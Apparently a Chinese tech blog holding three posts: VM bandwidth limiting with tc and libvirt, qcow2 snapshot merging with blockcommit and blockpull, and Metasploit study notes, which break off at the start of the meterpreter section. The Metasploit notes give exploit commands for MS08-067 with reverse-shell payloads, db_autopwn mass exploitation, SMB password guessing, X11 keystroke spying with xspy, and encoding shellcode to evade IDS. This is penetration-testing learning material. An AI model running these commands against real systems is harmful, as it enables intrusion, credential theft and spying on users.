跳到主要内容

使用libvirt和tc实现vm带宽控制

· 阅读需 3 分钟

在kvm虚拟机管理的过程当中,对虚拟机带宽进行良好的控制是十分重要的。

linux系统当中对网络带宽的控制一般都是使用tc命令实现,tc即是traffic control的缩写,在这里可以找到有关tc命令的内容。

当然你可以手动使用tc命令来处理这些事情,比如使用cbq队列,htb队列等,都是可以实现的,网上找找应该有很多关于这方面的资料,

cbq队列示例

比如下面就是使用cbq队列限制src ip为192.168.1.102发送数据包的速率:

1.建立cbq队列

tc qdisc add dev eth0 root handle 1: cbq avpkt 1000 bandwidth 100mbit

2.建立带宽限制分类

tc class add dev eth0 parent 1: classid 1:1 cbq rate 60mbit allot 1500 prio 5 bounded isolated
tc class add dev eth0 parent 1: classid 1:2 cbq rate 70mbit allot 1500 prio 5 bounded isolated
tc class add dev eth0 parent 1: classid 1:3 cbq rate 80mbit allot 1500 prio 5 bounded isolated

3.建立过滤器

绑定指定带宽限制类型至指定虚拟机ip:

tc filter add dev eth0 parent 1: protocol ip prio 16 u32 match ip src 192.168.1.102 flowid 1:2

htb队列示例

我们可以在母机上给vm对应的虚拟网卡增加tc规则,使用htb队列,一个可用的脚本示例如下:

# add interface bandwidth limit
# usage: tc_add iface in_kbps out_kbps
tc_add() {
local iface=$1
local in_bw=$2
local out_bw=$3
local in_average="${in_bw}kbps"
local in_peak="${in_bw}kbps"
local out_average="${out_bw}kbps"
local out_peak="${out_bw}kbps"
local burst="2kb"
local mtu=1500
local r2q=$((in_bw*1000/mtu-1))
local tc="/sbin/tc"
[ $r2q -lt 1 ] && r2q=1
if [ $in_bw != 0 ]; then
$tc qdisc add dev $iface root handle 1: htb default 2 r2q $r2q
$tc class add dev $iface parent 1: classid 1:1 htb rate $in_average \
ceil $in_peak burst $burst cburst $burst
$tc class add dev $iface parent 1:1 classid 1:2 htb rate $in_average \
ceil $in_peak burst $burst cburst $burst
$tc qdisc add dev $iface parent 1:2 handle 2: sfq perturb 10
$tc filter add dev $iface parent 1:0 protocol ip handle 1 fw flowid 1
fi
if [ $out_bw != 0 ]; then
$tc qdisc add dev $iface ingress
$tc filter add dev $iface parent ffff: protocol ip u32 match ip src \
0.0.0.0/0 police rate $out_average burst ${out_bw}kb mtu 64kb drop \
flowid :1
fi
}

# clean up interface bandwidth limit
# usage: tc_del iface
tc_del() {
local iface=$1
local tc="/sbin/tc"
$tc qdisc del dev $iface root &>>/dev/null
sleep 0.1
$tc qdisc del dev $iface ingress &>>/dev/null
}

libvirt中的带宽控制

我比较推荐的方法还是直接使用libvirt,libvirt 中已经集成了带宽控制的功能,下面是关于带宽控制部分的xml描述:

使用方法:在网卡interface中加入

<bandwidth>
<inbound average='1000' peak='5000' burst='1024'/>
<outbound average='128' peak='256' burst='256'/>
</bandwidth>

以下是关于各项参数的解释,获取最新的信息可以参考libvirt文档.

  • mandatory attribute:

    • average: It specifies average bit rate on interface being shaped.
  • optional attributes:

    • peak: which specifies maximum rate at which interface can send data,
    • burst: amount of bytes that can be burst at peak speed.

Accepted values: integer numbers.

units:

  • average: kilobytes per second
  • peak: kilobytes per second
  • burst: kilobytes.

浅析qcow2镜像文件的快照合并

· 阅读需 13 分钟

这是一篇关于snapshots, blockpull, blockcommit的的介绍.作者和with Eric Blake, Jeff Cody,Kevin Wolf以及很多IRC和mailing lists里面的同学大量讨论以及作者大量的特向测试的基础之上总结出来的

基础知识

一个虚拟机快照可被看作是虚拟机的在某个指定时间的视图(包括他的操作系统和所有的程序).据此,某可以还原到一个之前的完整的状态,或者在guest运行的时候做个备份.所以,在我们继续深入之前我们必须搞懂两个名词:backing files和overlays .

QCOW2 backing files 与 overlays

qcow2(qemu copy-on-write)具有创建一个base-image,以及在base-image(即backing file)的基础上创建多个copy-on-write overlays镜像的能力.backing files和overlays十分有用,可以迅速的创建瘦装备虚拟机的实例,特别是在开发测试的时候可以让你迅速的回滚到之前的某个已知状态,丢弃overlay.

Figure-1

.--------------.    .-------------.    .-------------.    .-------------.
| | | | | | | |
| RootBase |<---| Overlay-1 |<---| Overlay-1A <--- | Overlay-1B |
| (raw/qcow2) | | (qcow2) | | (qcow2) | | (qcow2) |
'--------------' '-------------' '-------------' '-------------'

上图表明rootbase是overlay-1的backing file,以此类推.

Figure-2

.-----------.   .-----------.   .------------.  .------------.  .------------.
| | | | | | | | | |
| RootBase |<--- Overlay-1 |<--- Overlay-1A <--- Overlay-1B <--- Overlay-1C |
| | | | | | | | | (Active) |
'-----------' '-----------' '------------' '------------' '------------'
^ ^
| |
| | .-----------. .------------.
| | | | | |
| '-------| Overlay-2 |<---| Overlay-2A |
| | | | (Active) |
| '-----------' '------------'
|
|
| .-----------. .------------.
| | | | |
'------------| Overlay-3 |<---| Overlay-3A |
| | | (Active) |
'-----------' '------------'

上图表明我们可以只用单个backing file来创建多条链.

注意 : backing file 总是 只读 打开的. 换言之, 一旦新快照被创建,他的后端文件就不能被修改,(快照依赖于后端文件的这种状态).了解更多参见后面的('blockcommit' 节) .

示例 :

[FedoraBase.img] ----- <- [Fed-guest-1.qcow2] <- [Fed-w-updates.qcow2] <- [Fedora-guest-with-updates-1A]
\
\--- <- [Fed-guest-2.qcow2] <- [Fed-w-updates.qcow2] <- [Fedora-guest-with-updates-2A]

(注意箭头的方向,Fed-w-updates.qcow2 的backing file是 Fed-guest-1.qcow2)

上面的示例中可以看到 FedoraBase.img 安装了一个fedora17系统,并作为我们的backing file.现在这个backing file将作为模板快速的创建两个瘦装备实例,和 Figure-2 道理是一样的.

具体操作

使用qemu-img为单个backing file来创建两个fedora的瘦装备克隆:

# qemu-img create -b /export/vmimages/RootBase.img -f qcow2 \
/export/vmimages/Fedora-guest-1.qcow2

# qemu-img create -b /export/vmimages/RootBase.img -f qcow2 \
/export/vmimages/Fedora-guest-2.qcow2

现在,上面创建出来的两个镜像 Fedora-guest-1 & Fedora-guest-2 都可以用来启动一个虚拟机,继续我们的示例,现在我们需要创建一个f17的实例,但是这次我们需要创建的是具有完整的更新的实例,这时可以创建另外一个overlay(Fedora-guest-with-updates-1A)而这个overlay的backing file是'Fed-w-updates.qcow2'(一个包含了完整更新的镜像):

# qemu-img create -b /export/vmimages/Fed-w-updates.qcow2 -f qcow2 \
/export/vmimages/Fedora-guest-with-updates-1A.qcow2

我们可以使用qemu-img命令来查看镜像的信息,包括虚拟磁盘大小,使用大小,backing file指向:

# qemu-img info /export/vmimages/Fedora-guest-with-updates-1A.qcow2

注意: 最新版本的qemu-img可以递归查询到整条完整的链:

# qemu-img info --backing-chain /export/vmimages/Fedora-guest-with-updates-1A.qcow2

名词解释Snapshot:

  • 内置快照(Internal Snapshots) -- 单个qcow2镜像文件存储了包括数据以及快照的状态信息,

内置快照又可以细分一下:-

  • 内置磁盘快照(Internal disk snapshot):

  • 快照点的磁盘状态,数据和快照保存在单个qcow2文件中,虚拟机运行状态和关闭状态都可以创建.

Libvirt 使用 'qemu-img' 命令创建关机状态的磁盘快照.Libvirt 使用 'savevm' 命令创建运行状态的磁盘快照.

  • 内置系统还原点(Internal system checkpoint):

内存状态,设备状态和磁盘状态,可以为运行中的虚拟机创建,所有信息都存储在同一个qcow2文件中,只有在运行状态才能创建内置系统还原点.

Libvirt 使用'savevm' 命令来创建这种快照

  • 外置快照(External Snapshots) -- 当一个快照被创建时,创建时当前的状态保存在当前使用的磁盘文件中,即成为一个backing file.此时一个新的overlay被创建出来保存往后的数据.

这个也可以细分一下:-

  • 外置磁盘快照(External disk snapshot): 磁盘的快照被保存在一个文件中,创建时间点以后的数据被记录到一个新的qcow2文件中.同样可以在运行和关闭状态创建.

Libvirt 使用 'transaction' 命令来为运行状态创建这种快照. Libvirt 使用'qemu-img' 命令为关闭状态创建这种快照(截止目前功能还在开发中).

  • 外置系统还原点(External system checkpoint):

虚拟机的磁盘状态将被保存到一个文件中,内存和设备的状态将被保存到另外一个新的文件中,

(这个功能也还在开发中).

VM状态(VM state):

保存运行状态虚拟机的内存设备状态信息至文件,可以通过此文件恢复到保存时的状态,有点类似系统的休眠.(注意创建VM状态保存的时候VM磁盘必须是未发生写入改动的)

Libvirt使用 'migrate' (to file)命令来完成VM状态转储.

创建快照

每次产生一个外置snapshot,一个 /new/ overlay 镜像就会随之生成,而前一个镜像就变成了一个快照.

diskonly内置快照创建

假如需要为名为'f17vm1'的虚拟机创建一个运行态或关闭态的内置快照snap1

# virsh snapshot-create-as f17vm1  snap1 snap1-desc

列出快照列表,使用qemu-img查看info

# virsh snapshot-list f17vm1
# qemu-img info /home/kashyap/vmimages/f17vm1.qcow2

disk-only外置快照创建 :

查看虚拟机磁盘列表

# virsh domblklist f17-base
Target Source
---------------------------------------------
vda /export/vmimages/f17-base.qcow2

创建外置disk-only磁盘快照(VM运行态):

# virsh snapshot-create-as --domain f17-base snap1 snap1-desc \
--disk-only --diskspec vda,snapshot=external,file=/export/vmimages/sn1-of-f17-base.qcow2 \
--atomic
Domain snapshot snap1 created
  • 一旦上面的命令被执行,则原来的镜像f17-base将变为backing file,一个新的镜像被创建.

现在再列表查看虚拟机磁盘,你会发现新产生的镜像已经投入使用.

# virsh domblklist f17-base
Target Source
----------------------------------------------------
vda /export/vmimages/sn1-of-f17-base.qcow2

快照回滚

截止写此文之时,回滚至'内置快照'(system checkpoint或disk-only)是可以使用的.

虚拟机f17vm1回滚至快照'snap1'

# virsh snapshot-revert --domain f17vm1 snap1

使用 snapshot-revert 回滚 '外置磁盘快照' 稍微复杂些,需要涉及到稍微复杂点的问题,需要考虑的是合并'base'至'top'还是合并'top'至'base'.也就是说,有两种方式可以选择,外置磁盘快照链的缩短可以使用 blockpull 或 blockcommit .截止目前上游社区仍然在努力完善这项功能.

合并快照文件

外置快照非常有用,但这里有一个问题就是如何合并快照文件来缩短链的长度,如上所述这里

有两种方式:

  • blockcommit: 从 top 合并数据到 base (即合并overlays至backing files).
  • blockpull: 将backing file数据合并至overlay中.从 base 到 top .

blockcommit

blockcommit可以让你将'top'镜像(在同一条backing file链中)合并至底层的'base'镜像.一旦 blockcommit 执行完成,处于最上面的overlay链关系将被指向到底层的overlay或base.这在创建了很长一条链之后用来缩短链长度的时候十分有用.

下面来个图说明下:

我们现在有一个镜像叫'RootBase',拥有4个外置快照,'Active'为当前VM写入数据的,

使用'blockcommit'可以有以下多种case :

合并Snap-1, Snap-2 and Snap-3 至 'RootBase' 只合并Snap-1 and Snap-2 至 RootBase 只合并Snap-1 至 RootBase 合并Snap-2 至 Snap-1 合并Snap-3 至 Snap-2 合并Snap-2 和 Snap-3 至 Snap-1 注: 合并'Active'层(最顶部的overlay)至backing_files的功能还在开发中.

(下图解释case (6))

Figure-3

.------------.  .------------.  .------------.  .------------.  .------------.
| | | | | | | | | |
| RootBase <--- Snap-1 <--- Snap-2 <--- Snap-3 <--- Snap-4 |
| | | | | | | | | (Active) |
'------------' '------------' '------------' '------------' '------------'
/ |
/ |
/ commit data |
/ |
/ |
/ |
v commit data |
.------------. .------------. <--------------------' .------------.
| | | | | |
| RootBase <--- Snap-1 |<---------------------------------| Snap-4 |
| | | | Backing File | (Active) |
'------------' '------------' '------------'

举个例子,有以下场景:

当前: [base] <- sn1 <- sn2 <- sn3 <- sn4(this is active)

目标: [base] <- sn1 <- sn4 (如此来丢弃sn2,sn3)

下面有两种方式,method-a更快,method-b 慢些,但是sn2有效可用. (VM运行态).

(method-a):

           # virsh blockcommit --domain f17 vda --base /export/vmimages/sn1.qcow2  \

--top /export/vmimages/sn3.qcow2 --wait --verbose

[OR] (method-b):

# virsh blockcommit --domain f17 vda  --base /export/vmimages/sn2.qcow2  \
--top /export/vmimages/sn3.qcow2 --wait --verbose
# virsh blockcommit --domain f17 vda --base /export/vmimages/sn1.qcow2 \
--top /export/vmimages/sn2.qcow2 --wait --verbose

注: 如果手工执行qemu-img命令完成的话, 现在还只能用method-b. Figure-4

.------------.  .------------.  .------------.  .------------.  .------------.
| | | | | | | | | |
| RootBase <--- Snap-1 <--- Snap-2 <--- Snap-3 <--- Snap-4 |
| | | | | | | | | (Active) |
'------------' '------------' '------------' '------------' '------------'
/ | |
/ | |
/ | |
commit data / commit data | |
/ | |
/ | commit data |
v | |
.------------.<----------------------|-------------' .------------.
| |<----------------------' | |
| RootBase | | Snap-4 |
| |<-------------------------------------------------| (Active) |
'------------' Backing File '------------'

上图演示了case1的blockcommit走向,现在sn4的backing file指向rootbase.

blockpull

blockpull(qemu中也称作'block stream')可以将backing合并至active,与blockcommit正好相反.截止目前只能将backing file合并至当前使用的active中,也就是说还不支持指定top的合并. 设想一个下面的场景:

Figure-5

.------------.  .------------.  .------------.  .------------.  .------------.
| | | | | | | | | |
| RootBase <--- Snap-1 <--- Snap-2 <--- Snap-3 <--- Snap-4 |
| | | | | | | | | (Active) |
'------------' '------------' '------------' '------------' '------------'
| | \
| | \
| | \
| | \ stream data
| | stream data \
| stream data | \
| | v
.------------. | '---------------> .------------.
| | '---------------------------------> | |
| RootBase | | Snap-4 |
| | <---------------------------------------- | (Active) |
'------------' Backing File '------------'

使用blockpull我们可以将snap-1/2/3中的数据合并至active层,最终rootbase将变成active的直接后端.

命令如下:

假设快照已经使用 创建Snapshots 小节中的方式完成:

Figure-5中描述的-- [RootBase] <- [Active].

# virsh blockpull --domain RootBase  \
--path /var/lib/libvirt/images/active.qcow2 \
--base /var/lib/libvirt/images/RootBase.qcow2 \
--wait --verbose

后续的工作是我们需要使用virsh来清理掉不用的快照

# virsh snapshot-delete --domain RootBase Snap-3 --metadata
# virsh snapshot-delete --domain RootBase Snap-2 --metadata
# virsh snapshot-delete --domain RootBase Snap-1 --metadata

Figure-6

.------------.  .------------.  .------------.  .------------.  .------------.
| | | | | | | | | |
| RootBase <--- Snap-1 <--- Snap-2 <--- Snap-3 <--- Snap-4 |
| | | | | | | | | (Active) |
'------------' '------------' '------------' '------------' '------------'
| | | \
| | | \
| | | \ stream data
| | | stream data \
| | | \
| | stream data | \
| stream data | '------------------> v
| | .--------------.
| '---------------------------------> | |
| | Snap-4 |
'----------------------------------------------------> | (Active) |
'--------------'
'Standalone'
(w/o backing
file)

上图表示的是将所有backing file全部合并至active

如下执行命令:

(1) 在我们执行合并 之前 查看一下快照的大小(注意观察'Active'): ::

        # ls -lash /var/lib/libvirt/images/RootBase.img
608M -rw-r--r--. 1 qemu qemu 1.0G Oct 11 17:54 /var/lib/libvirt/images/RootBase.img

# ls -lash /var/lib/libvirt/images/*Snap*
840K -rw-------. 1 qemu qemu 896K Oct 11 17:56 /var/lib/libvirt/images/Snap-1.qcow2
392K -rw-------. 1 qemu qemu 448K Oct 11 17:56 /var/lib/libvirt/images/Snap-2.qcow2
456K -rw-------. 1 qemu qemu 512K Oct 11 17:56 /var/lib/libvirt/images/Snap-3.qcow2
2.9M -rw-------. 1 qemu qemu 3.0M Oct 11 18:10 /var/lib/libvirt/images/Active.qcow2

(2) 单独检查下 'Active' 所指向的backing file ::

        # qemu-img info /var/lib/libvirt/images/Active.qcow2
image: /var/lib/libvirt/images/Active.qcow2
file format: qcow2
virtual size: 1.0G (1073741824 bytes)
disk size: 2.9M
cluster_size: 65536
backing file: /var/lib/libvirt/images/Snap-3.qcow2

(3) 开始 blockpull 操作. ::

        # virsh blockpull --domain ptest2-base --path /var/lib/libvirt/images/Active.qcow2 --wait --verbose
Block Pull: [100 %]
Pull complete

(4) 再检查下快照大小, 'Active'变得很大 ::

        # ls -lash /var/lib/libvirt/images/*Snap*
840K -rw-------. 1 qemu qemu 896K Oct 11 17:56 /var/lib/libvirt/images/Snap-1.qcow2
392K -rw-------. 1 qemu qemu 448K Oct 11 17:56 /var/lib/libvirt/images/Snap-2.qcow2
456K -rw-------. 1 qemu qemu 512K Oct 11 17:56 /var/lib/libvirt/images/Snap-3.qcow2
1011M -rw-------. 1 qemu qemu 3.0M Oct 11 18:29 /var/lib/libvirt/images/Active.qcow2

(5) 检查'Active'信息,现在它已经不需要backing file了,正如Figure-6所示::

        # qemu-img info /var/lib/libvirt/images/Active.qcow2
image: /var/lib/libvirt/images/Active.qcow2
file format: qcow2
virtual size: 1.0G (1073741824 bytes)
disk size: 1.0G
cluster_size: 65536

(6) 清理现场 ::

        # virsh snapshot-delete --domain RootBase Snap-3 --metadata

(7) 现在还可以使用下 guestfish READ-ONLY 模式来检查下磁盘内容( --ro 选项) ::

        # guestfish --ro -i -a /var/lib/libvirt/images/Active.qcow2

快照删除 (and 'offline commit')

删除(live/offline)状态的内置快照很方便 ::

# virsh snapshot-delete --domain f17vm --snapshotname snap6

[OR]

# virsh snapshot-delete f17vm snap6

libvirt现在还没有删除外置快照的功能,但是可以使用qemu-img命令来完成.

比如我们有这样一条链(VMoffline状态): base <- sn1 <- sn2 <- sn3

现在删除第二个快照(sn2).有两种方式:

* Method (1): base <- sn1 <- sn3 (by copying sn2 into sn1)
* Method (2): base <- sn1 <- sn3 (by copying sn2 into sn3)

Method (1)

(by copying sn2 into sn1)

注意: 必须保证sn1没有被其他快照作为后端,不然就挂了!!

offline commit

# qemu-img commit sn2.qcow2

将会commit所有在sn2中的改动到sn2的backing file(sn1). qemu-img commit和virsh blockcommit类似 现在把sn3的后端指向到sn1.

# qemu-img rebase -u -b sn1.qcow2 sn3.qcow2

注意: -u代表'Unsafe mode' -- 此模式下仅仅修改了指向到的backing file名字,必须谨慎操作. 现在可以直接删除sn2

# rm sn2.qcow2

Method (2)

(by copying sn2 into sn3)

合并数据,rebase后端:

# qemu-img rebase -b sn1.qcow2 sn3.qcow2

未使用-u模式的rebase将把数据也一并合并过去,即sn2的数据写入到sn3. 换言之: 这里使用的'Safe mode',也是默认模式 --对sn3而言任何从 qemu-img rebase(没有-u)和和virsh blockpull类似. backingfile(sn1)到旧的backingfile(sn2)之间发生的差异改动都将被合并到sn3中.

现在可以删除sn2了

# rm sn2.qcow2

metasploit学习笔记

· 阅读需 34 分钟

N年前使用metasploit框架过程中写下的学习笔记

一.名词解释

  • exploit: 测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的 有内存溢出,网站程序漏洞利用,配置错误exploit。

  • payload: 我们想让被攻击系统执行的程序,如reverse shell可以从目标机器与测试者之间建立一 个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload也可以是只 能在目标机器上执行有限命令的程序。

  • shellcode: 是进行攻击时的一系列被当作payload的指令,通常在目标机器上执行之后提供一个可 执行命令的shell。

  • module: MSF的模块,由一系列代码组成。

  • listener: 等待来自被攻击机器的incoming连接的监听在测试者机器上的程序。

二.MSF基础

启动msf

1、MSF提供多种用户界面:控制台模式(msfconsole),命令行模式(msfcli),图形模式(msfgui、armitage),(在老版本中还有web界面模式,后来貌似由于安全因素被取消了?)其中console模式最常用,启动方式:

cd /opt/framework/msf3/
msfconsole

运行此命令后将进入msf命令提示符:

msf>

获取帮助信息

2、获取命令的帮助信息:help

例子:

help connect

msfcli

3、msfcli 和msfconsole相比不提供交互方式,它直接从命令行输入所有参数并产生结果,

msfcli –h #获取帮助信息
msfcli <exploit_name> <option=value> [mode]
mode:H(help)帮助

S(summary)显示模块信息

O(options)显示模块的可用选项

A(advanced)显示高级选项

I(ids)显示IDS EVASION 选项

P(payload)显示此模块可用的payload

T(targets)显示可用targets

AC(action)显示可用actions

C(check)运行模块测试

E(execute)执行选定的模块

模块使用示例

例子:ms08_067_netapi模块

msfcli windows/smb/ms08_067_netapi O    #查看可用选项
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用payload
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 PAYLOAD=windows/shell/bind_tcp E #执行 (此处O、P 等参数也可以用小写)

armitage使用

4、Armitage :MSF的一个图形接口

运行方式:

cd /opt/farmework/msf3/
armitage

msf其他组件

5、MSF其他组件:

  • MSFpayload工具:

用于生成shellcode,可生成C,Ruby,JaveScript,VB格式的shellcode。 帮助信息:

msfpayload –h
  • MSFencode工具:

编码压缩shellcode,过IDS ,防火墙。

msfencode -h
msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探与收集

1、攻击第一步:基础信息收集

whois查询:

msf > whois example.com
msf> whois 192.168.1.100

http://searchdns.netcraft.com/在线收集服务器IP信息工具

nslookup
set type=mx
> example.com

2、用nmap探测开放端口和服务:

-sS SYN半开扫描 -sT TCP 半开扫描 -Pn 不使用ping 方式探测主机 -A 探测服务类型 -6 开启IPV6扫描 -O 探测操作系统版本 常用扫描参数组合:

nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111

其他组合:

nmap -T4 -A -v 深入式扫描
nmap -sS -sU -T4 -A -v 同上,且扫UDP
nmap -p 1-65535 -T4 -A -v 扫描所有TCP端口
nmap -T4 -A -v -Pn 不使用ping
nmap -sn 使用ping
nmap -T4 -F 快速扫描
nmap -sV -T4 -O -F --version-light 加强版快速扫描
nmap -sn --traceroute 快速路由跟踪扫描
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 慢速全面扫描

(nmap的scripts位于/usr/local/share/nmap/scripts/目录,用LUA语言编写,nmap --script-help all | less 查看脚本扫描帮助信息) (nmap还有一个GUI界面工具叫zenmap,命令zenmap或nmapfe都可以启动)

3、MSF与postgresql协同工作

/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_status
# 导入nmap扫描的结果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml
msf> db_import Subnet1.xml
msf> db_hosts –c address #查看导入的主机IP

msf也可以和mysql一起工作,在bt5 r1中msf默认支持连接mysql:

msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql的msf3数据库
mysql默认密码toor,使用db_connect连接时会自动创建msf3库)

4、高级扫描方式:

msf> use auxiliary/scanner/ip/ipidseq   #IPID序列扫描器,与nmap的-sI -O选项类似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run

(RHOSTS、RPORT等参数也可以用小写)

msf> nmap –PN –sI 192.168.1.09 192.168.1.155

nmap 连接数据库:

msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看扫描结果

使用portscan模块:

msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run

5、特定扫描:

smb_version模块:

msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor

查找mssql主机:

msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

SSH服务器扫描:

msf> use auxiliary/scanner/ssh/ssh_version 
set THREADS 50
run

FTP主机扫描:

msf> use auxiliary/scanner/ftp/ftp_version 
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

扫描FTP匿名登录:

use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run

扫描SNMP主机:

msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run

6、编写自定义扫描模块:

MSF框架提供对其所有exploit和method的访问,支持代理,SSL,报告生成,线程, 使用Ruby语言。

例子:一个简单的自定义扫描模块

#Metasploit
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf:Auxiliary::Scanner
def initialize
super(
‘Name’ => ‘My custom TCP scan’,
‘Version’ => ‘$Revision: 1$’,
‘Description’ => ‘My quick scanner’,
‘Author’ => ‘Your name here’,
‘License’ => ‘MSF_LICENSE’
)

register_options(
[
Opt::RPORT(12345)
],self.class)

end

def run_host(ip)
connect()
sock.puts(‘HELLO SERVER’)
data = sock.recv(1024)
print_status(“Received: #{data} from #{ip}”)
disconnect()
end
end

测试:将模块保存到modules/auxiliary/scanner/目录下面,命名为simple_tcp.rb,注意保存的位置很重要。

使用nc监听一个端口测试这个模块:

echo “Hello Metasploit” > banner.txt
nc –lvnp 12345 < banner.txt
msf> use auxiliary/scanner/simple_tcp
>show options
>set RHOSTS 192.168.1.111
>run
[*] Received: Hello Metasploit from 192.168.1.111

四.基本漏洞扫描

1 基本扫描

1、使用nc与目标端口通信,获取目标端口的信息:

nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.1

1: 还有一个功能与nc类似的工具Ncat,产自nmap社区,可实现相同功能:

ncat -C 192.168.1.111 80
GET / HTTP/1.0

2:题外:ncat还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就可以聊天了:服务器(chatserver):ncatncat -l --chat 其他客户端:ncat chatserver

3:ncat还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有后门,那么可以这样查看中国菜刀连接后门时发送的数据: 服务器(server.example.com)上:ncat -l --keep-open 80 --output caidao.log > /dev/null 然后使用菜刀连接http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log里面了。也可以导出为hex格式,--output换为--hex-dump就可以了。

4:其实与nc功能类似的工具在bt5里面还有很多,比如还有一个sbd:

监听:sbd -l -p 12345

连接:sbd 192.168.1.111 12345

5:当然也可以用来聊天,与ncat的不同之处在于ncat自动对用户编号user1、user2、...,而sbd可以自定义昵称,且不需要专门单独监听为聊天服务器:

pc1:sbd -l -p 12345 -P chowner

pc2:sbd pc1 12345 -P evil

6:其实nc也可以用来聊天的:

pc1:nc -l -p 12345

pc2: telnet pc1 12345

2 与NeXpose结合扫描:

在nexpose中扫描目标并生成xml格式的报告后,将报告导入到msf:

db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/host_test.xml
db_hosts –c address,svvs,vulns
db_vulns

在MSF中运行nexpose:

db_destroy postgres:toor@127.0.0.l1/msf
db_connect postgres:toor@127.0.0.1/msf
load nexpose
nexpose_connect –h
nexpose_connect nexpose:toor@192.168.1.111 ok
nexpose_scan 192.168.1.195
db_hosts –c address
db_vulns

(如果你想在bt5里安装nexpose的话建议把bt5硬盘空间多留几十G,这玩意硬盘小了不让装。)

3、与nessus结合扫描:

使用Nessus扫描完成后生成.nessus格式的报告,导入到MSF:

db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns

在MSF中使用Nessus:

db_connect postgres:toor@127.0.0.1/msf
load nessus
nessus_connect nessus:toor@192.168.1.111:8834 ok
nessus_policy_list #查看存在的扫描规则
nessus_scan_new 2 bridge_scan 192.168.1.111 #2表示规则的ID号,bridge_scan自定义扫描名称
nessus_scan_status #查看扫描进行状态
nessus_report_list #查看扫描结果
nessus_report_get skjla243-3b5d-******* #导入报告
db_hosts –c address,svcs,vulns

4、特殊扫描:

SMB弱口令:

msf> use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run

VNC空口令:

msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run

Open X11空口令:

msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run

当扫描到此漏洞的主机后可以使用xspy工具来监视对方的键盘输入:

cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100

5、使用Autopwn处理扫描结果:

autopwn选项:e执行attack t查看匹配模块 r使用reverse shell作为payload x基于漏洞筛选模块 p基于端口筛选模块

db_connect postgres:toor@127.0.0.1/msf
db_import /root/nessus.nbe
db_autopwn –e –t –r –x –p
  • -e 针对符合条件的目标加载所有exploit -t显示所有匹配的exploit -r使用反弹shell
  • -x 基于漏洞筛选模块 -p基于端口筛选模块

五.基础溢出命令

1、基本命令:

查看可用溢出模块show exploits 查看辅助模块show auxiliary 包括扫描器,拒绝服务模块,fuzzer工具或其他。 查看可用选项show options

加载模块后退出此模块 back

例子:

msf> use windows/smb/ms08_067_netapi
back

搜索模块 search

例子: searh mssql search ms08_067

查看当前模块可用的payload: show payloads

例子:

use windows/smb/ms08_067_netapi
show payloads
set payload windows/shell/reverse_tcp
show options

查看可选的目标类型show targets 查看更多信息info 设置一个选项或取消设置 set/unset 设置或取消全局选项 setg/unsetg 例如设置LHOST就可以用setg,避免后面重复设置 保存全局选项的设置 save 当下次启动仍然生效 查看建立的session sessions –l

激活session sessions –i num #num为session编号

2、暴力端口探测:

当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf将对目标的所有端口进行尝试,直到找到一个开放端口并与测试者建立连接。

例子:

use exploit/windows/smb/ms08_067_netapi
set LHOST 192.168.1.111
set RHOST 192.168.1.122
set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX)
search ports #搜索与ports相关模块
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit –j #作为后台任务运行
sessions –l –v
sesssions –i 1

3、MSF脚本文件:

为了缩短测试时间可以将msf命令写入一个文件,然后在msf中加载它。

加载方式:msfconsole的resource命令或者msfconsole加上-r选项

例子:

echo ‘version’ > resource.rc
echo ‘load sounds’ >> resource.rc
msfconsole –r resource.rc

例子:

echo 'use exploit/windows/smb/ms08_067_netapi' > autoexp.rc
echo 'set RHOST 192.168.1.133' >> autoexp.rc
echo 'set PAYLOAD windows/meterpreter/reverse_tcp' >> autoexp.rc
echo 'set LHOST 192.168.1.111' >> autoexp.rc
echo 'exploit' >> autoexp.rc
msfconsole
msf> resource autoexp.rc

六.METERPRETER

1、使用meterpreter

当对目标系统进行溢出时,使用meterpreter作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。 例子:

msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务
#假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf> nmap –sU 192.168.1.130 –P 1434 #确认端口开放
